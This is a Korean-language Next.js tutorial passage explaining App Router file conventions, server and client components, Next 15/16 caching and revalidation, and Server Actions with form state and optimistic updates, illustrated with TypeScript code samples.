page.tsx그 주소의 화면. 이 파일이 있어야 라우트가 생깁니다
layout.tsx아래 전부를 감싸는 껍데기. 이동해도 다시 안 그려짐
template.tsxlayout 과 같지만 이동마다 새로 만듭니다(진입 애니메이션 등)
loading.tsx있으면 그 경계가 자동으로 Suspense 로 감싸집니다
error.tsx렌더 중 예외를 잡는 경계. "use client" 필수
not-found.tsxnotFound() 호출 또는 404 일 때
route.ts화면이 아니라 HTTP 응답을 만듭니다(f07)
default.tsx병렬 라우트가 복원 못 할 때의 기본 화면
page.tsx 와 route.ts 는 같은 폴더에 둘 수 없습니다. 한 주소가 화면이면서 동시에 API 일 수는 없기 때문입니다. 폴더를 나누세요 — app/posts/page.tsx 와 app/api/posts/route.ts.

루트 레이아웃 — 프로젝트에 딱 하나

// src/app/layout.tsx
import type { Metadata } from "next";
import "./globals.css";

export const metadata: Metadata = {
  title: { default: "내 블로그", template: "%s · 내 블로그" },
  description: "혼자 만드는 기술 블로그",
};

export default function RootLayout({
  children,
}: { children: React.ReactNode }) {
  return (
    <html lang="ko" suppressHydrationWarning>
      <body>
        <Header />
        {children}          {/* ★ 하위 layout · page 가 여기로 들어옵니다 */}
        <Footer />
      </body>
    </html>
  );
}
<html> 과 <body> 는 루트 레이아웃에서만 씁니다 — Next 가 이 두 태그를 직접 만들지 않기 때문입니다. suppressHydrationWarning 은 다크 모드 스크립트가 class 를 미리 바꿔 놓을 때 나는 경고를 막는 관용구입니다(f10).

주소를 만드는 문법 — 그룹 · 동적 세그먼트 🟡 중급

폴더 이름 규칙

app/about/page.tsx            →  /about
app/blog/page.tsx             →  /blog

[id]        동적 세그먼트     →  /post/42     params.id = "42"
[...slug]   포괄 세그먼트     →  /docs/a/b/c  params.slug = ["a","b","c"]
[[...slug]] 선택 포괄         →  /docs 와 /docs/a 둘 다 매칭

(group)     라우트 그룹       →  주소에 나타나지 않음
                                 레이아웃만 나누고 싶을 때
_folder     비공개 폴더       →  라우팅에서 완전히 제외
                                 컴포넌트·유틸을 라우트 옆에 둘 때

@slot       병렬 라우트       →  layout 이 props 로 받음
(.)folder   인터셉트 라우트   →  (.)같은 층 (..)한 층 위 (...)루트
// app/blog/[...slug]/page.tsx
export default async function Doc(
  { params }: { params: Promise<{ slug: string[] }> }
) {
  const { slug } = await params;         // ["2026","08","hello"]
  return <article>{slug.join(" / ")}</article>;
}
Next 15 부터 params 와 searchParams 는 Promise 입니다. await 없이 params.id 를 쓰면 경고 또는 에러가 납니다. 옛 예제를 복사할 때 가장 자주 걸리는 지점입니다.

라우트 그룹이 실제로 쓰이는 모양

src/app/
  layout.tsx                     ← 공통 (html/body/폰트)

  (marketing)/                   ← 주소에 안 나옴
    layout.tsx                   ← 큰 헤더 + 푸터
    page.tsx                     → /
    pricing/page.tsx             → /pricing

  (app)/                         ← 로그인 뒤 화면
    layout.tsx                   ← 사이드바 + 상단 바
    dashboard/page.tsx           → /dashboard
    settings/page.tsx            → /settings

  (auth)/                        ← 로그인/가입
    layout.tsx                   ← 가운데 정렬 카드
    login/page.tsx               → /login
  • 같은 주소 계층인데 껍데기가 달라야 할 때 그룹을 씁니다 — / 는 마케팅 헤더, /dashboard 는 사이드바
  • 그룹 폴더는 주소에 흔적을 남기지 않습니다(/(app)/dashboard 아님)
  • 그룹 안에 layout.tsx 를 두지 않으면 그냥 폴더 정리용으로만 쓸 수도 있습니다
  • 루트 page.tsx 를 그룹 안에 넣을 수 있지만 두 그룹이 같은 주소를 만들면 빌드가 실패합니다
비공개 폴더 _components 를 라우트 폴더 옆에 두면 "그 페이지에서만 쓰는 컴포넌트"를 바로 옆에 둘 수 있습니다. 기능 단위로 뭉치는 리액트의 features/ 구조가 App Router 에서는 라우트 폴더 그 자체가 됩니다.

한 단계 더 — 병렬 라우트와 인터셉트 🔴 실무

병렬 라우트 — 한 화면에 두 개의 라우트

app/dashboard/
  layout.tsx
  page.tsx
  @team/page.tsx        ← 슬롯 1
  @analytics/page.tsx   ← 슬롯 2
  @team/loading.tsx     ← 슬롯마다 독립된 로딩!
// app/dashboard/layout.tsx
export default function Layout({
  children, team, analytics,          // ★ 슬롯이 props 로 들어옵니다
}: {
  children: React.ReactNode;
  team: React.ReactNode;
  analytics: React.ReactNode;
}) {
  return (
    <section>
      {children}
      <div className="grid grid-cols-2 gap-4">
        {team}
        {analytics}
      </div>
    </section>
  );
}
값어치는 "독립된 로딩·에러"입니다 — 분석 위젯이 3초 걸려도 팀 목록은 먼저 나옵니다. 대시보드처럼 서로 무관한 블록이 한 화면에 있을 때만 쓰세요. 아니면 그냥 컴포넌트로 나누는 편이 단순합니다.

인터셉트 — 목록에서 누르면 모달, 새로고침하면 페이지

app/
  feed/page.tsx                 목록
  photo/[id]/page.tsx           ← 직접 접근 시 전체 페이지
  feed/@modal/(..)photo/[id]/page.tsx
                                ← 목록에서 클릭하면 모달로 가로챔
  feed/@modal/default.tsx       ← 모달 없을 때 (null 반환)
// feed/@modal/(..)photo/[id]/page.tsx
import { Modal } from "@/app/_components/modal";

export default async function PhotoModal(
  { params }: { params: Promise<{ id: string }> }
) {
  const { id } = await params;
  return (
    <Modal>
      <Photo id={id} />
    </Modal>
  );
}
인스타그램의 사진 모달이 정확히 이 패턴입니다 — 목록에서 누르면 모달, 그 상태에서 새로고침하면 전체 페이지, 공유한 링크를 남이 열면 전체 페이지. 주소가 진짜로 바뀌므로 공유 가능한 모달이 됩니다. 다만 폴더 규칙이 까다로우니 정말 필요할 때만 손대세요.

이동하기 — Link 와 프로그램적 이동

import Link from "next/link";

<Link href="/posts/42">글 보기</Link>
<Link href={{ pathname: "/search", query: { q: "next" } }}>검색</Link>
<Link href="/heavy" prefetch={false}>미리 안 받기</Link>

// 클라이언트 컴포넌트에서 코드로 이동
"use client";
import { useRouter, usePathname, useSearchParams } from "next/navigation";

const router = useRouter();
router.push("/dashboard");        // 뒤로 가기 기록 남김
router.replace("/login");         // 기록 대체 (로그인 후에)
router.refresh();                 // ★ 서버 컴포넌트만 다시 가져오기

// 서버 컴포넌트/액션에서는 함수를 씁니다
import { redirect, notFound } from "next/navigation";
if (!post) notFound();
if (!session) redirect("/login");

자주 막히는 지점

증상원인
페이지가 404폴더는 만들었는데 page.tsx 가 없음
params 가 Promise 라고 나옴Next 15+ — await params
useRouter 가 undefinednext/router 를 임포트함. next/navigation
error.tsx 가 안 잡음레이아웃에서 난 에러는 같은 층 error 가 못 잡습니다. 상위에 두세요
레이아웃이 계속 리마운트template.tsx 를 쓰고 있음
404 화면이 밋밋함루트 app/not-found.tsx 를 안 만듦
redirect() 는 예외를 던져서 동작합니다 — try/catch 안에서 부르면 catch 에 걸려 리다이렉트가 사라집니다. 반드시 try 블록 바깥에서 부르세요. Server Action(f05)에서 특히 자주 겪는 사고입니다.
정리 — App Router 는 폴더 = 주소, 파일 이름 = 역할입니다. page·layout·loading·error·route 다섯 개면 90% 를 만들고, (group) 으로 껍데기를 나누고 [id]·[...slug] 로 주소를 받습니다. Next 15 부터 params·searchParams 는 await 해야 한다는 것만 기억하면 옛 예제에 걸리지 않습니다.
NEXT 03

서버 컴포넌트 — "use client" 가 진짜로 바꾸는 것

App Router 에서 모든 컴포넌트는 기본이 서버 컴포넌트입니다. 리액트 탭에서 배운 훅과 이벤트 핸들러가 여기서는 안 됩니다. 왜 안 되는지, 그리고 "use client" 한 줄이 무엇을 뒤집는지가 Next 를 쓸 때 가장 자주 헷갈리는 지점입니다.

"use client" 는 파일 하나가 아니라 그 아래 전부의 경계입니다 app/page.tsx (서버) PostList (서버) marked 250KB — 서버에만 LikeButton "use client" Icon — 함께 클라이언트 딸려 갑니다 브라우저가 실제로 받는 것 LikeButton · Icon · react-dom 런타임 + 서버가 그린 결과(RSC 페이로드) 문자열 서버에만 남는 것 DB 클라이언트 · API 키 · marked 250KB 서버 컴포넌트의 코드 자체 (번들에 없음) 경계를 잎사귀 쪽으로 밀수록 번들이 작아집니다 — 버튼 하나 때문에 페이지 전체를 클라이언트로 만들지 마세요
"use client" 는 "이 파일부터 아래로 전부 브라우저에도 보낸다"는 선언입니다.

서버 컴포넌트 — 기본값

// app/posts/page.tsx  —  아무 표시도 없으면 '서버'입니다
import { db } from "@/lib/db";
import { marked } from "marked";          // 250KB, 브라우저로 안 감

export default async function Posts() {   // ★ async 가 됩니다
  const posts = await db.post.findMany({ orderBy: { id: "desc" } });

  return (
    <ul>
      {posts.map((p) => (
        <li key={p.id} dangerouslySetInnerHTML={{ __html: marked(p.body) }} />
      ))}
    </ul>
  );
}

// 여기서 되는 것
//   await · DB 접근 · 파일 시스템 · process.env.SECRET · 무거운 라이브러리
// 여기서 안 되는 것
//   useState · useEffect · onClick · window · localStorage
왜 async 가 되나 — 서버 컴포넌트는 한 번 실행하고 끝입니다. 다시 렌더될 일이 없으니 기다렸다가 결과를 반환해도 됩니다. 리액트 탭의 useEffect + fetch + 로딩 상태 세 줄이 await 한 줄로 줄어드는 이유가 이것입니다.

"use client" — 상호작용이 필요한 자리

// app/_components/like-button.tsx
"use client";                       // ★ 파일 맨 위, 임포트보다 먼저

import { useState } from "react";
import { Icon } from "./icon";      // 이 파일도 자동으로 클라이언트가 됨

export function LikeButton({ id, initial }: { id: number; initial: number }) {
  const [n, setN] = useState(initial);
  return (
    <button onClick={() => setN(n + 1)}>
      <Icon name="heart" /> {n}
    </button>
  );
}
// 서버 컴포넌트에서 그냥 가져다 씁니다 (임포트 방향은 서버 → 클라이언트 OK)
import { LikeButton } from "./_components/like-button";

export default async function Page() {
  const post = await db.post.findFirst();
  return <LikeButton id={post.id} initial={post.likes} />;
}
반대 방향은 안 됩니다 — "use client" 파일에서 서버 컴포넌트를 임포트하면 그 서버 컴포넌트도 클라이언트로 끌려갑니다. 서버 컴포넌트를 클라이언트 안에 넣고 싶으면 임포트가 아니라 children 으로 넘기세요(아래에서 다룹니다).

경계 위에서 오가는 것 — 직렬화 가능한 props 🟡 중급

넘길 수 있는 것 · 없는 것

서버 → 클라이언트로 넘길 수 있음못 넘김
문자열 · 숫자 · 불리언 · null함수 (Server Action 은 예외)
배열 · 일반 객체 (중첩 포함)클래스 인스턴스 · Symbol
Date · Map · Set · BigIntError 객체 · DOM 노드
JSX (children 으로)Prisma 모델의 메서드가 붙은 객체
Promise (use() 로 받음)클로저를 품은 것 전부
// ❌ 함수를 넘김 — "Functions cannot be passed to Client Components"
<Chart formatter={(v) => v.toFixed(2)} />
// ✅ 이름표만 넘기고 함수는 클라이언트 쪽에 두기
<Chart format="fixed2" />

// ❌ Decimal · ObjectId 같은 특수 타입이 섞인 DB 결과를 통째로
const rows = await db.product.findMany();
<Table rows={rows} />                 // Decimal 이 있으면 터집니다
// ✅ 필요한 필드만 평범한 값으로 정리해서
<Table rows={rows.map(r => ({ id: r.id, price: Number(r.price) }))} />
props 는 HTTP 로 실려 갑니다. 서버 컴포넌트가 클라이언트에 넘긴 값은 브라우저에서 그대로 볼 수 있습니다 — 사용자 객체를 통째로 넘기면 passwordHash·email 까지 페이지 소스에 박힙니다. 넘기기 전에 골라내세요.

경계를 잎사귀로 미는 두 가지 기법

// ① 상호작용하는 조각만 클라이언트로
// ❌ 페이지 전체를 클라이언트로 (탭 하나 때문에)
"use client";
export default function Page() { ... 500줄 ... }

// ✅ 탭 컴포넌트만 클라이언트, 내용은 서버가 그림
// page.tsx (서버)
<Tabs>                            {/* "use client" */}
  <ServerHeavyPanel />            {/* 서버 컴포넌트가 children 으로 */}
</Tabs>

// ② children 슬롯 — 클라이언트 안에 서버 컴포넌트를 끼우는 유일한 길
"use client";
export function Tabs({ children }: { children: React.ReactNode }) {
  const [open, setOpen] = useState(true);
  return open ? <div>{children}</div> : null;
}
// children 은 '이미 서버에서 그려진 결과'로 들어옵니다.
// Tabs 는 그것을 어디에 놓을지만 정합니다 — 코드를 보지 않으므로 번들에 안 들어갑니다.
이 한 가지 패턴이 RSC 의 핵심 기술입니다. "감싸는 쪽은 클라이언트, 감싸이는 쪽은 서버" — 모달 · 아코디언 · 탭 · 드래그 목록 전부 이 모양으로 만들 수 있고, 그렇게 하면 무거운 렌더링 코드가 브라우저로 내려가지 않습니다.

실무에선 이렇게 — 자주 하는 실수 여덟 가지 🔴 실무

증상 · 에러 메시지원인과 처방
"You're importing a component that needs useState" 서버 컴포넌트에서 훅을 씀. 그 파일 맨 위에 "use client" 를 붙이거나, 훅이 필요한 부분만 따로 파일로 빼세요
"Functions cannot be passed to Client Components" props 로 함수를 넘김. 문자열 키로 바꾸거나, Server Action 이면 예외적으로 가능(f05)
"window is not defined" 서버에서 브라우저 API 를 씀. "use client" + useEffect 안으로 옮기거나 dynamic(..., { ssr: false })
번들이 이상하게 큼 "use client" 가 트리 위쪽에 붙어 있음. @next/bundle-analyzer 로 확인(f11)
API 키가 브라우저에 노출됨 클라이언트 컴포넌트에서 process.env.X 를 씀. NEXT_PUBLIC_ 이 없는 변수는 클라이언트에서 undefined 이고, props 로 넘기면 진짜로 노출됩니다(f12)
"Hydration failed" 서버가 그린 HTML 과 브라우저 첫 렌더가 다름 — Date.now()·Math.random()·localStorage 를 렌더 중에 씀
클라이언트 컴포넌트가 서버에서도 실행됨 정상입니다. "use client" 는 "브라우저에서만"이 아니라 "브라우저에도"입니다. 첫 HTML 은 서버에서 한 번 그려집니다
context 가 undefined Provider 가 서버 컴포넌트. Provider 파일에 "use client" 를 붙이고 layout.tsx 에서 children 을 감싸세요
가장 중요한 오해 정정 — "use client" 컴포넌트도 첫 요청 때는 서버에서 한 번 실행되어 HTML 이 됩니다(SSR). 그래서 "클라이언트 컴포넌트니까 window 를 써도 되겠지"가 틀립니다. 브라우저에서만 도는 코드는 useEffect 안이 유일하게 안전한 자리입니다.

Provider 를 다루는 정석

// app/providers.tsx
"use client";
import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
import { ThemeProvider } from "next-themes";
import { useState } from "react";

export function Providers({ children }: { children: React.ReactNode }) {
  const [qc] = useState(() => new QueryClient());   // ★ 요청마다 새 인스턴스
  return (
    <QueryClientProvider client={qc}>
      <ThemeProvider attribute="class">{children}</ThemeProvider>
    </QueryClientProvider>
  );
}

// app/layout.tsx (서버 컴포넌트 그대로!)
import { Providers } from "./providers";
<body><Providers>{children}</Providers></body>
new QueryClient() 를 모듈 최상단에 두지 마세요. 서버에서는 모든 사용자가 그 인스턴스를 공유하게 되어 남의 데이터가 보입니다. 서버에서 도는 코드의 전역 변수는 전부 이 위험을 갖습니다 — 요청마다 새로 만드세요.

서버 전용 코드를 못 새게 잠그기

// lib/db.ts  맨 위에 한 줄
import "server-only";
// 이 파일이 클라이언트 번들에 섞이면 '빌드가 실패'합니다 ★

// 반대도 있습니다 — 브라우저 전용 유틸
import "client-only";
npm i server-only
// 클라이언트 안에서 브라우저 전용 라이브러리를 늦게 불러오기
import dynamic from "next/dynamic";

const MapView = dynamic(() => import("./map-view"), {
  ssr: false,                       // ★ 서버에서 렌더하지 않음
  loading: () => <div className="h-80 animate-pulse" />,
});
// 주의: ssr:false 는 "use client" 파일 안에서만 쓸 수 있습니다
server-only 는 실수 방지 장치입니다. "DB 유틸을 클라이언트 컴포넌트에서 임포트해서 커넥션 문자열이 번들에 박히는" 사고를 빌드 시점에 막습니다. lib/db.ts·lib/auth.ts 에는 무조건 넣으세요.
정리 — 기본이 서버이고, 훅·이벤트가 필요할 때만 "use client" 를 붙입니다. 그 한 줄은 파일 하나가 아니라 그 아래 임포트 전부를 브라우저로 보냅니다. 경계를 잎사귀 쪽으로 밀고, 클라이언트 안에 서버 컴포넌트를 넣고 싶으면 임포트 대신 children 으로 넘기세요. server-only 한 줄이면 비밀이 새는 사고를 빌드에서 막습니다.
NEXT 04

데이터 가져오기와 캐싱 — Next 15 에서 기본값이 뒤집혔습니다

서버 컴포넌트에서는 await fetch() 가 전부입니다. 어려운 건 가져오기가 아니라 언제까지 그 결과를 재사용할 것인가입니다. Next 14 까지는 자동으로 캐시했고, Next 15 부터는 기본이 캐시 안 함으로 바뀌었습니다 — 인터넷 예제의 절반이 옛 기준입니다.

요청 하나가 지나는 네 겹의 캐시 — 오른쪽으로 갈수록 비쌉니다 브라우저에서 ① 라우터 캐시 이미 방문한 화면을 메모리에 적중 → 즉시 전환 서버에 묻지 않습니다 빗나가면 서버로 (아래 줄로 내려갑니다) 서버에서 ② 라우트 캐시 HTML+RSC 통째로 렌더 서버 컴포넌트 ③ 요청 메모 중복 fetch 합침 ④ 데이터 캐시 fetch 결과 보관 ⑤ DB · API 가장 비쌉니다 ①은 브라우저 메모리 · ②는 서버에 저장된 완성 결과 · ③은 한 번의 렌더 안에서만 · ④는 배포를 넘어 살아남습니다 Next 15 부터 ②와 ④는 기본이 "캐시 안 함" 입니다 — 캐시하려면 내가 직접 켜야 합니다 revalidateTag("posts") 한 줄이 ④를 비우고, 그 여파로 ②도 다시 만들어집니다
"왜 데이터가 안 바뀌죠?" 의 답은 이 다섯 칸 중 어디에 남아 있나를 순서대로 확인하는 것입니다.

기본 — 서버 컴포넌트에서 그냥 await

// app/posts/page.tsx
export default async function Posts() {
  // Next 15 기본값 = 데이터 캐시 안 함. 단, 이 라우트에 cookies() 같은 동적 함수가 없으면
  // 빌드 때 한 번 가져와 정적 HTML 로 굳습니다 ★ 매 요청 새로 받으려면 no-store · connection()
  const res = await fetch("https://api.example.com/posts");
  if (!res.ok) throw new Error("목록을 가져오지 못했습니다");
  const posts: Post[] = await res.json();

  return <List posts={posts} />;
}

// 여러 개를 동시에 — 순서대로 await 하면 시간이 더해집니다
export default async function Dashboard() {
  const [user, orders, notices] = await Promise.all([
    getUser(), getOrders(), getNotices(),
  ]);
  // ❌ const user = await getUser();      2초
  //    const orders = await getOrders();  +2초 = 4초  (워터폴)
  // ✅ Promise.all                        2초
}
워터폴은 App Router 에서 가장 흔한 성능 사고입니다. await 를 줄줄이 쓰면 지연이 더해집니다. 서로 의존하지 않는 요청은 Promise.all 로 묶고, 정말 순서가 필요하면 느린 쪽을 Suspense 로 감싸 스트리밍하세요(f06).

캐시를 켜는 세 가지 손잡이

// ① 한 번 캐시하고 계속 씀 (빌드 결과처럼)
await fetch(url, { cache: "force-cache" });

// ② N초 동안 캐시 — ISR 의 실체입니다 ★ 가장 많이 씁니다
await fetch(url, { next: { revalidate: 60 } });

// ③ 태그를 붙여 두고 나중에 이름으로 지우기 ★ 실무 핵심
await fetch(url, { next: { tags: ["posts", `post:${id}`] } });

// 캐시하지 않음 — 기본값과 달리 이 라우트를 '동적'(매 요청 렌더)으로 만듭니다
await fetch(url, { cache: "no-store" });

// 파일 전체의 기본값을 정하는 세그먼트 옵션 (page.tsx · layout.tsx 최상단)
export const revalidate = 3600;        // 이 라우트는 1시간마다
export const dynamic = "force-static"; // 무조건 정적으로
export const dynamic = "force-dynamic";// 무조건 요청마다
판단 기준은 하나 — "이 데이터가 1분 낡아도 되나?" 된다면 revalidate, 안 된다면 no-store. "바뀌는 순간 바로 반영돼야 한다"면 캐시를 끄는 게 아니라 태그를 붙이고 바뀔 때 지우는 것이 정답입니다 — 아래에서 다룹니다.

태그 기반 무효화 — 캐시를 켜고도 최신을 유지하는 법 🟡 중급

붙이고 · 지우고

// 읽는 쪽 — 태그를 붙여 캐시
// app/posts/page.tsx
const res = await fetch(`${API}/posts`, {
  next: { revalidate: 3600, tags: ["posts"] },
});

// app/posts/[id]/page.tsx
const res = await fetch(`${API}/posts/${id}`, {
  next: { revalidate: 3600, tags: ["posts", `post:${id}`] },
});
// 쓰는 쪽 — Server Action 이나 route handler 에서
"use server";
import { revalidateTag, revalidatePath } from "next/cache";

export async function updatePost(id: number, data: PostInput) {
  await db.post.update({ where: { id }, data });

  revalidateTag(`post:${id}`);   // 이 글 상세만
  revalidateTag("posts");        // 목록도
  // 경로로 지울 수도 있습니다
  revalidatePath("/posts");                 // 그 페이지
  revalidatePath("/posts/[id]", "page");    // 동적 라우트 전부
  revalidatePath("/", "layout");            // 그 레이아웃 아래 전부
  // Next 16: 인자 하나짜리 revalidateTag 는 deprecated — revalidateTag("posts", "max"),
  //          액션 안에서 '쓴 직후 바로 읽기'가 필요하면 updateTag("posts")
}
이 조합이 2026년 App Router 의 표준 패턴입니다 — 읽기는 오래 캐시하고(1시간·1일), 바뀔 때 태그로 지웁니다. 캐시 적중률이 90% 를 넘으면서도 수정이 즉시 반영되고, DB 부하는 수정 횟수만큼만 늘어납니다.

fetch 가 아닌 것 — DB 쿼리 캐시하기

// fetch 는 Next 가 감싸 두었지만, Prisma/Drizzle 쿼리는 아닙니다.
// Next 15 — unstable_cache 로 감쌉니다
import { unstable_cache } from "next/cache";

export const getPopularPosts = unstable_cache(
  async (limit: number) => db.post.findMany({ take: limit, orderBy: { views: "desc" } }),
  ["popular-posts"],                       // ★ 캐시 키의 접두사
  { revalidate: 300, tags: ["posts"] },
);
// 인자는 자동으로 키에 포함됩니다 — getPopularPosts(10) 과 (20) 은 별개

// Next 16 (Cache Components) — 디렉티브로 더 간단해집니다
import { cacheLife, cacheTag } from "next/cache";   // next.config 에 cacheComponents: true
export async function getPopularPosts(limit: number) {
  "use cache";
  cacheLife("minutes");            // 수명 프리셋
  cacheTag("posts");               // 무효화 태그
  return db.post.findMany({ take: limit, orderBy: { views: "desc" } });
}
캐시 함수 안에서 cookies()·headers() 를 쓰면 안 됩니다. 캐시는 모든 사용자가 공유하는 값이라, 사용자별 정보가 섞이면 남의 데이터가 남에게 보이는 사고가 납니다. 사용자별 데이터는 캐시하지 말거나, 사용자 id 를 인자로 받아 키에 포함시키세요.

한 단계 더 — 요청 메모이제이션과 cache() 🔴 실무

props 로 안 내려도 되는 이유

// layout · page · 여러 컴포넌트가 각자 같은 데이터를 부릅니다
// layout.tsx
const user = await fetch(`${API}/me`, { headers });   // ①
// page.tsx
const user = await fetch(`${API}/me`, { headers });   // ②
// Sidebar.tsx
const user = await fetch(`${API}/me`, { headers });   // ③

// ★ 실제 네트워크 요청은 '한 번'입니다.
//   같은 렌더 안에서 URL + 옵션이 같으면 리액트가 합쳐 줍니다(요청 메모이제이션).
//   props 로 줄줄이 내려보내는 배선(prop drilling)이 필요 없어집니다.
// fetch 가 아닌 함수도 같은 효과를 내려면 React 의 cache() 로 감쌉니다
import { cache } from "react";
import "server-only";

export const getUser = cache(async (id: string) => {
  return db.user.findUnique({ where: { id } });
});
// 한 번의 렌더 동안 getUser("u1") 을 몇 번 불러도 쿼리는 한 번
// ★ 렌더가 끝나면 사라집니다 — 요청 간 공유는 안 됩니다(그건 unstable_cache)

셋을 헷갈리지 않기

도구사는 기간쓰는 곳
cache()
(react)
렌더 한 번같은 렌더 안 중복 DB 쿼리 제거
unstable_cache()
"use cache"
요청·배포를 넘어모두에게 같은 무거운 조회
fetch(next:{})요청·배포를 넘어외부 API 응답
revalidate 세그먼트라우트 단위 N초페이지 전체를 ISR 로
# 캐시가 실제로 어떻게 동작하는지 로그로 보기
# next.config.ts
# export default { logging: { fetches: { fullUrl: true } } }

npm run dev
#  GET /posts 200 in 812ms
#   │ GET https://api.../posts 200 in 803ms (cache skip)
#   │  │ Cache missed reason: (cache: no-store)      ← 이유까지 알려 줍니다
#   │ GET https://api.../tags 200 in 2ms (cache hit)
이 로그 한 줄이 캐시 디버깅의 90% 입니다. cache skip 과 Cache missed reason 을 보면 "왜 매번 API 를 때리는지"가 바로 나옵니다 — 대개 부모 라우트가 동적이거나 헤더를 읽었기 때문입니다(f06).

Next 14 → 15 로 옮길 때 확인할 것

항목Next 14 → 15
fetch() 기본 캐시캐시함 → 안 함
route.ts 의 GET캐시함 → 안 함
클라이언트 라우터 캐시(page)30초 → 0초
params·searchParams객체 → Promise
cookies()·headers()동기 → 비동기
React 버전18 → 19
업그레이드 뒤 "왜 이렇게 느려졌지?" 의 원인 1위가 이것입니다. 예전에는 안 적어도 캐시됐는데 이제는 안 적으면 매번 나갑니다. npx @next/codemod@canary upgrade latest 가 문법은 고쳐 주지만 캐시 정책은 사람이 정해야 합니다.

실전 — 페이지별 캐시 정책 예시

화면정책
회사 소개 · 약관아무것도 안 씀 → 정적
블로그 글 상세revalidate: 3600 + tags:["post:1"]
상품 목록revalidate: 60 + 저장 시 revalidateTag
재고 수량no-store 또는 클라이언트에서 폴링
내 주문 목록cookies() 사용 → 자동으로 동적
관리자 대시보드dynamic = "force-dynamic"
// 흔한 실수 — 목록 페이지에서 한 줄 때문에 전체가 동적이 됨
import { cookies } from "next/headers";
const theme = (await cookies()).get("theme");   // ★ 이 한 줄로 SSG 포기
// ✅ 테마는 클라이언트 컴포넌트에서 읽으세요(f10)
정리 — 서버 컴포넌트에서 데이터는 await fetch 로 끝입니다. Next 15 부터 기본은 캐시 안 함이므로, 캐시가 필요하면 next: { revalidate, tags } 를 직접 적습니다. 실무 표준은 길게 캐시하고 바뀔 때 revalidateTag 로 지우기이고, DB 쿼리는 unstable_cache(16 은 "use cache")로 감쌉니다. 한 렌더 안의 중복은 이미 자동으로 합쳐지니 props 배선을 하지 마세요.
NEXT 05

Server Actions — API 라우트 없이 서버 함수를 부르기

리액트 탭에서 저장 버튼을 만들려면 API 라우트 · fetch · 로딩 상태 · 에러 상태가 필요했습니다. Server Action 은 서버 함수를 그대로 <form action=> 에 넘겨 그 전부를 없앱니다. 대신 "이 함수는 인터넷에 공개된 엔드포인트" 라는 사실을 잊으면 그대로 보안 사고가 됩니다.

Server Action 한 번의 왕복 — 요청 하나로 저장과 화면 갱신이 함께 끝납니다 브라우저 서버 ① 폼 제출 form action={createPost} POST (액션 id + 인자) ② "use server" 함수 실행 권한 검사 → zod 검증 → DB 쓰기 기다리는 동안 useFormStatus → pending useOptimistic 을 썼다면 화면은 이미 바뀐 상태 ③ revalidateTag · redirect 이 액션이 바꾼 캐시를 지웁니다 ④ 서버 컴포넌트 다시 렌더 새 화면 조각(RSC)을 만듭니다 응답 = 반환값 + 새 RSC 페이로드 ⑤ 화면 교체 스크롤 · 포커스 유지 폼 제출은 자바스크립트가 꺼져 있어도 동작합니다 — 서버 액션은 진짜 form POST 위에 얹혀 있습니다 전체 새로고침이 아니라 바뀐 부분만 교체되므로, 저장 후에도 스크롤 위치와 입력 포커스가 그대로 남습니다
API 라우트 · fetch · 상태 관리 세 가지가 함수 하나로 접힙니다 — 대신 권한 검사가 그 함수의 책임이 됩니다.

가장 단순한 형태

// app/posts/actions.ts
"use server";                          // ★ 파일 전체가 서버 액션이 됩니다

import { revalidatePath } from "next/cache";
import { redirect } from "next/navigation";
import { db } from "@/lib/db";

export async function createPost(formData: FormData) {
  const title = String(formData.get("title") ?? "");
  const body  = String(formData.get("body") ?? "");

  const post = await db.post.create({ data: { title, body } });

  revalidatePath("/posts");            // 목록 캐시 비우기
  redirect(`/posts/${post.id}`);       // ★ try 블록 밖에서!
}
// app/posts/new/page.tsx  (서버 컴포넌트 그대로)
import { createPost } from "../actions";

export default function NewPost() {
  return (
    <form action={createPost}>         {/* ★ 함수를 그대로 넘깁니다 */}
      <input name="title" required />
      <textarea name="body" />
      <button>저장</button>
    </form>
  );
}
// JS 를 꺼도 동작합니다 — 진짜 form POST 이기 때문입니다

검증과 에러 되돌려 주기 — useActionState

// actions.ts
"use server";
import { z } from "zod";

const Schema = z.object({
  title: z.string().min(2, "제목은 2자 이상"),
  body:  z.string().min(10, "본문이 너무 짧습니다"),
});

export type State = { errors?: Record<string, string[]>; message?: string };

export async function createPost(prev: State, formData: FormData): Promise<State> {
  const parsed = Schema.safeParse(Object.fromEntries(formData));
  if (!parsed.success)
    return { errors: parsed.error.flatten().fieldErrors };

  try {
    await db.post.create({ data: parsed.data });
  } catch {
    return { message: "저장에 실패했습니다. 잠시 후 다시 시도해 주세요." };
  }
  revalidatePath("/posts");
  redirect("/posts");                  // ★ try 밖
}
redirect() 와 notFound() 는 내부적으로 예외를 던집니다. try … catch 블록 안에서 부르면 catch 가 삼켜 버려 이동이 일어나지 않고 message 만 돌아옵니다. "저장은 됐는데 페이지가 안 넘어간다"의 원인 1위입니다.

폼 쪽 — 대기 상태와 에러 표시

// app/posts/new/form.tsx
"use client";
import { useActionState } from "react";
import { useFormStatus } from "react-dom";
import { createPost, type State } from "../actions";

const initial: State = {};

function SubmitButton() {
  const { pending } = useFormStatus();     // ★ 반드시 form '안쪽' 컴포넌트에서
  return <button disabled={pending}>{pending ? "저장 중…" : "저장"}</button>;
}

export function PostForm() {
  const [state, action, isPending] = useActionState(createPost, initial);

  return (
    <form action={action}>
      <input name="title" aria-invalid={!!state.errors?.title} />
      {state.errors?.title?.map((m) => (
        <p key={m} role="alert" className="text-red-500">{m}</p>
      ))}

      <textarea name="body" />
      {state.message && <p role="alert">{state.message}</p>}

      <SubmitButton />
    </form>
  );
}
useFormStatus 는 자기 자신을 감싼 form 을 봅니다. 같은 컴포넌트 안에서 <form> 을 렌더하면서 부르면 항상 false 가 나옵니다 — 반드시 자식 컴포넌트로 분리하세요. useActionState 의 세 번째 반환값으로도 같은 값을 얻을 수 있습니다.

낙관적 업데이트 — useOptimistic

"use client";
import { useOptimistic } from "react";
import { addTodo } from "./actions";

export function TodoList({ todos }: { todos: Todo[] }) {
  const [shown, addOptimistic] = useOptimistic(
    todos,
    (state, newText: string) => [
      ...state,
      { id: Math.random(), text: newText, pending: true },
    ],
  );

  async function action(formData: FormData) {
    const text = String(formData.get("text"));
    addOptimistic(text);                 // ① 화면 먼저 (즉시)
    await addTodo(text);                 // ② 서버 저장
    // 실패하면? → 액션이 끝나면 서버 상태로 '자동 롤백' 됩니다 ★
  }

  return (
    <>
      <ul>{shown.map((t) => (
        <li key={t.id} className={t.pending ? "opacity-50" : ""}>{t.text}</li>
      ))}</ul>
      <form action={action}><input name="text" /><button>추가</button></form>
    </>
  );
}
